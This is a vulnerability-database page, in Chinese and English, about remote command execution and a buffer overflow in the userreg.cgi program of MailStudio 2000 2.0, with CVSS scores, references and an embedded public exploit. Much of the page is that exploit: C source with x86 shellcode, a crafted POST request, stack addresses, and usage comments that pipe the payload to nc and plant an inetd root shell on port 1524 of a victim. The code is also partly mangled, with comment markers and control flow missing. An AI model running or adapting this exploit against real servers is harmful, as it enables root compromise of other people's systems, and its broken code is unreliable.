发布时间 :2000-06-09 00:00:00
修订时间 :2008-09-10 15:04:55

[原文]userreg.cgi CGI program in MailStudio 2000 2.0 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters.

[CNNVD]3R Soft MailStudio 2000多重漏洞(CNNVD-200006-050)

        MailStudio 2000 2.0和更早的版本的userreg.cgi CGI程序存在漏洞。远程攻击者借助shell元字符可以执行任意命令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20000609 Mailstudio2000 CGI Vulnerabilities [S0ftPj.4]

- 漏洞信息

3R Soft MailStudio 2000多重漏洞
危急 设计错误
2000-06-09 00:00:00 2005-10-20 00:00:00
        MailStudio 2000 2.0和更早的版本的userreg.cgi CGI程序存在漏洞。远程攻击者借助shell元字符可以执行任意命令。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at:

- 漏洞信息 (20007)

3R Soft MailStudio 2000 2.0 userreg.cgi Arbitrary Command Execution (EDBID:20007)
cgi remote
2000-04-24 Verified
0 fygrave
N/A [点击下载]

MailStudio 2000 is vulnerable to multiple attacks.

It is possible for a remote user to gain read access to all files located on the server via the usage of the "/.." string passed to a CGI, thereby compromising the confidentiality of other users email and password, as well as other configuration and password files on the system.

It is also possible to set a password for those system user accounts which don't have one in place (ex: operator, gopher etc).

There is also a input validation vulnerability in the userreg.cgi. This CGI uses a shell to execute certain commands. Passing any command directly after %0a in the arguments of the CGI will allow a remote user to execute the commands as root.

userreg.cgi also has an unchecked which could allow remote attackers to execute arbitrary code as root.

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

 * executes command as root.mail
 * usage: userregsp [-s retaddr] [-a shellcodeoffset] [-o offset] 
 *  [-c command]  | nc <host> <port>
 * problems:  
 * usually commandline gets truncated after 42 characters. 
 * sometimes shellcode might be damaged, to get around this you'd have to split
 * command into few parts or move shellcode on different place. (-a argument)
 * f.e.
 * ./userregsp "echo -n 1524 stream tcp nowait r>>/tmp/.o" | nc victim 8080
 * ./userregsp "echo oot /bin/sh sh -i >>/tmp/.o" | nc victim 8080
 * ./userregsp "/usr/sbin/inetd /tmp/.o" | nc victim 8080
 * telnet victim 1524
 * Here I found possible stack addresses which might be of some help:
 * 0xbfffe6a4 -- when correct `Referer: ....' header has been passed
 * 0xbfffe578 -- when incorrect `Referer: ..' header has been passed
 * 0xbfffe598 -- when `Referer: ..' header is not present.
 *  ...
 * Mon Apr 24 20:14:31 ICT 2000  --

#define TALKING "POST /cgi-auth/userreg.cgi HTTP/1.0\n"\
"Connection: Keep-Alive\n"\
"User-Agent: Mozilla/4.7 [en] (X11; U; Linux 2.2.13 i586)\n"\
"Host: mailstudio_server:8081\n"\
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\n"\
"Accept-Encoding: gzip\n"\
"Accept-Language: en\n"\
"Accept-Charset: iso-8859-1,*,utf-8\n"\
"Cookie: lang=eng; tnum=1\n"\
"Content-type: application/x-www-form-urlencoded \n"\
"Content-length: 179\n\n"\

#define BUF_SIZE 1024
char shellcode[]=

"\xeb\x2e" //           jmp    80483dc <tail>
"\x5e"     //           popl   %esi
"\x89\x76\x70"   //     movl   %esi,0x70(%esi)
"\x8d\x46\x08"   //     leal   0x18(%esi),%eax
"\x89\x46\x74"   //     movl   %eax,0x74(%esi)
"\x8d\x46\x0b"   //     leal   0x1b(%esi),%eax
"\x89\x46\x78"   //     movl   %eax,0x78(%esi)
"\x31\xc0"       //     xorl   %eax, %eax
"\x88\x46\x07"   //     movb   %al,0x7(%esi)
"\x88\x46\x0a"   //     movb   %al,0xa(%esi)
"\x89\x46\x7c"   //     movl   %eax,0x7c(%esi)
"\xb0\x0b"       //     movb   $0xb, %al
"\x89\xf3"       //     movl   %esi, %ebx
"\x8d\x4e\x70"   //     leal   0x70(%esi), %ecx
"\x8d\x56\x7c"   //     leal   0x74(%esi), %edx
"\xcd\x80"      //      int    $0x80
"\x31\xdb"      //      xorl   %ebx,%ebx
"\x89\xd8"      //      movl   %ebx,%eax
"\x40"         //       incl   %eax
"\xcd\x80"      //      int    $0x80
"\xe8\xcd\xff\xff\xff"//        call   80483ae <callback>

extern char *optarg;

void main(int argc, char **argv) {
char buf[BUF_SIZE+1];
char *foo;
char *command, c;
unsigned long retaddr,bp, offset, shelloffset;

/* defaults */
command="/bin/touch /tmp/0wn3d";
offset = 16;
shelloffset = 24;

while((c = getopt(argc, argv, "s:c:")) !=EOF) 
        switch(c) {
                case 's':
                        retaddr = strtoul(optarg,NULL,0); 
                case 'a':
                        shelloffset = strtoul(optarg,NULL,0); 
                case 'o':
                        offset = strtoul(optarg,NULL,0); 
                case 'c':
                        command = optarg;
                        if (strlen(command) > 42) 
                                fprintf(stderr,"WARNING: your command line "
                                "might get truncated!\n");
                        fprintf(stderr, "usage %s [-c command] [-s retaddr]"
                        " [-o offset] [-a shelloffset]\n", argv[0]);



 *foo++ = (bp >> 0) & 0xff;
 *foo++ = (bp >> 8) & 0xff;
 *foo++ = (bp >>16) & 0xff;
 *foo++ = (bp >>24) & 0xff;

 *foo++ = (retaddr >> 0) & 0xff;
 *foo++ = (retaddr >> 8) & 0xff;
 *foo++ = (retaddr >>16) & 0xff;
 *foo++ = (retaddr >>24) & 0xff;
  * you can get outside the buffer boundaries here but I don't care. Very long
  * command lines would be damaged by shellcode or truncated anyway.. 
 printf(TALKING, buf);



- 漏洞信息

MailStudio 2000 userreg.cgi Arbitrary Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Third-party Verified, Uncoordinated Disclosure

- 漏洞描述

- 时间线

2000-06-09 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete